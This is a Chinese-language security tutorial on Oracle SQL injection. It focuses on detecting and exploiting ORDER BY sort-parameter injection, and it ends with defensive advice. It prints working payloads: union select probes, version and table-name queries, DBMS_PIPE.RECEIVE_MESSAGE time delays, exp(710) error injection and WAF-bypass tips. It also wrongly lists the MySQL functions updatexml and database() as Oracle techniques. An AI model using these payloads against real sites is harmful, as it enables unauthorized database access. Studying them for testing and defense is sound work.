【Web实战】Oracle注入专题——注入注意点+排序注入绕过实战之踩坑篇
字数 1525 2025-08-10 08:28:37
Oracle注入专题:注入注意点与排序注入绕过实战
一、Oracle注入基础
1. Oracle数据库注入特点
Oracle数据库在注入过程中有以下重要特点:
- 数据类型敏感:必须在字符型字段使用字符型数据,整型字段使用整型数据
- 语法严格:相比MySQL更为严格,注释和函数使用有特殊要求
- 系统表结构特殊:需要了解Oracle特有的系统表和视图
2. Oracle与MySQL注入关键区别
| 特性 | Oracle | MySQL |
|---|---|---|
| 注释 | -- 可用,# 不可用 |
# 和 -- 都可用 |
| 数据类型 | 严格区分字符型和整型 | 类型转换较灵活 |
| 系统表 | v$version, user_tables等 |
information_schema |
| 虚拟表 | 需要 from dual |
不需要虚拟表 |
| 延时函数 | dbms_pipe.receive_message() |
sleep() |
二、Oracle注入实战技巧
1. 数据类型判断与利用
判断字段类型方法:
' union select 1,2 from dual-- -- 如果报错提示类型不匹配
' union select '1','2' from dual-- -- 如果成功则说明是字符型字段
实际案例:
6340d33754bf402798a6051733698a3c'+union+select+'1','2'+from+dual--
2. 常用Oracle注入函数
获取数据库信息:
-- 获取版本信息
select banner from sys.v_$version where rownum=1
-- 获取当前数据库
select instance_name from V$INSTANCE
-- 获取第一个表名
select table_name from user_tables where rownum=1
延时注入:
dbms_pipe.receive_message('RDS',5) -- 延时5秒
3. 报错注入利用
-- 使用exp函数(数值大于709会报错)
asc,exp(710)
-- 使用updatexml报错
desc,updatexml(1,concat(0x7e,(database()),0x7e),1)
三、Oracle排序注入实战
1. 排序注入原理
Web应用中排序功能通常使用SQL的ORDER BY实现:
SELECT * FROM users ORDER BY 1 desc/asc
当排序参数可控时,可在desc/asc位置注入恶意代码。
2. 排序注入检测流程
第一步:判断注入点
- 测试参数对
'、"、/0、/1的响应 - 观察是否影响返回结果
第二步:判断数据库类型
- 测试
#和--哪个能作为注释 - Java站点+
#不可用+--可用 → 可能是Oracle
第三步:验证注入
- 使用Oracle特有函数验证:
asc,exp(710) -- 测试报错
asc,DBMS_PIPE.RECEIVE_MESSAGE('RDS',1) -- 测试延时
3. 绕过WAF技巧
Oracle与MySQL绕过差异:
- MySQL中可使用多行注释加垃圾字符绕过:
sleep/*大量垃圾字符*/(1)
- Oracle中这种绕过方式通常无效,语法要求更严格
有效绕过方法:
- 使用Oracle特有函数如
DBMS_PIPE.RECEIVE_MESSAGE - 避免使用被拦截的关键字,寻找替代方案
四、实战踩坑与解决方案
1. 常见错误
-
数据库类型误判
- 误将Oracle当作MySQL进行注入
- 解决方案:通过注释符和特有函数准确判断
-
数据类型不匹配
- 在字符型字段使用整型数据
- 解决方案:添加引号转为字符型
-
WAF绕过方法不当
- 使用MySQL的绕过技巧在Oracle中无效
- 解决方案:使用Oracle特有的函数和方法
2. 有效解决方案
-
准确判断数据库类型
- 测试
#和--哪个能作为注释 - 测试特有函数如
dbms_pipe.receive_message
- 测试
-
正确处理数据类型
- 当
union select 1,2报错时尝试union select '1','2'
- 当
-
使用Oracle特有注入技术
- 延时注入:
DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) - 报错注入:
exp(710)或updatexml
- 延时注入:
五、防御建议
-
使用预编译语句
- 避免SQL拼接,使用参数化查询
-
严格过滤输入
- 对排序参数进行白名单验证(只允许asc/desc)
-
最小权限原则
- 数据库用户只赋予必要权限
-
WAF规则优化
- 拦截
dbms_pipe.receive_message等危险函数 - 监控异常的延时请求
- 拦截
-
错误信息处理
- 避免将数据库错误信息直接返回给用户
通过掌握Oracle注入的特性和技巧,结合实战中的经验教训,可以有效进行Oracle数据库的安全测试和防护。